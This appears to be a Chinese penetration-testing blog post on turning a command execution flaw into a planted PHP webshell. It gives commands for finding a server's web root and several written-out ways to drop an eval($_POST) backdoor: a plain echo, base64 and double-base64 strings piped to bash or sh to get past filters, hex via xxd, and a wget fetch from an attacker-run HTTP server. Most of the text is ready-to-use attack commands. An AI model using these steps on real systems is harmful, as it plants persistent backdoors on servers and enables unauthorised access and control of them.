命令执行写webshell总结

火山方舟向量数据库大模型

前言

当我们找到一个rce漏洞却无法反弹shell时,在web路径写webshell用连接工具进行管理会方便的多,本文总结从命令执行到webshell的流程化操作。

寻找web路径

写webshell当然要写在web路径,第一步要做的就是快速寻找web路径

1.文件查找法

一般web路径一定会有index.html\php\jsp\asp,login.xxx文件。可以根据已知页面文件名全局搜索


          
linux:
          
find / -name index.php
          
find / -name index.*
          
windows:
          
for /r d:/ %i in (index.html) do @echo %i
          
for /r d:/ %i in (index.*) do @echo %i
      

2.源码查找法

也可以选择打开当前已知web页面的f12查看源码,寻找一段特征足够明显的源码进行查找


          
linux:
          
find / -name "*.*" | xargs grep "PHP installed properly"
          
find /var/www/ -name "*.php" | xargs grep "doServerTest()"
          

          
windows:
          
findstr /s/i/n /d:D:\sec_tools\ /c:"html" *.html
          
findstr /s/i/n /d:C:\windows\ /c:"success" *.*
      

3.history等

通过linux历史命令查找web相关的服务启动命令


          
history | grep nginx
          
history | grep tomcat
          
history | grep http
      

写入webshell

确认寻找到的路径有写入权限之后,就可以开始写webshell了

1.echo直接写入


        
            

          echo '<?php eval($\_POST[1]); ?>' > 1.php
        
      

直接写入webshell一般不会成功,因为webshell中使用的某些关键符号可能被转码或屏蔽

2.base64写入


      
          

        echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >2.php
      
    

使用base64是比较通用的方法,完美去除了webshell本身的特殊字符

3.绕过重定向符

  
echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | bash
  
echo "ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+My5waHA=" | base64 -d | sh

重定向符>不可用时,我们可以将1或2中的整体命令base64编码,然后解码后通过bash或sh执行

其他字符绕过方式,如空格对应${IFS}等,可参考命令注入的绕过方式 http://uuzdaisuki.com/2020/07/15/%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/

4.远端下载webshell


          
远端服务器放置webshell,开启http
          
python -m http.server
          

          
目标机器执行
          
wget http://xx.xx.xxx.xx:8000/xxx.php
      

可出网且有wget的情况下可采用此方式

5.hex写入

hex写入与base64写入相似,在 https://www.107000.com/T-Hex/

将webshell编码成hex,使用xxd命令还原

或在使用前将webshell使用xxd生成hex数据


        
            

          echo '<?php eval($\_POST[1]); ?>' |xxd -ps
        
      

然后命令注入执行


      
          

        echo 3C3F706870206576616C28245F504F53545B315D293B203F3E|xxd -r -ps > 5.php
      
    

作者: Leticia's Blog

历史文章推荐:

域用户密码爆破研究

渗透测试中的提权思路(详细!)

干货|文件上传绕过思路拓展

内网信息收集总结

PHP无回显渗透测试总结

一些webshell免杀的技巧

XSS 实战思路总结

一种后渗透阶段权限维持方法

内网渗透之域渗透命令执行总结

查看更多精彩内容,还请关注 橘猫学安全

每日坚持学习与分享,麻烦各位师傅文章底部给点个“ 再看 ”,感激不尽 picture.image

0
0
0
0
关于作者

文章

0

获赞

0

收藏

0

相关资源
湖仓一体加速引擎 Bolt 及在 LAS 的应用实践
Spark、Presto等引擎原Java执行的性能优化进入瓶颈期,而基于向量化和编译优化的native引擎,可获两倍性能加速比,降低资源成本。
相关产品
评论
未登录
看完啦,登录分享一下感受吧~
暂无评论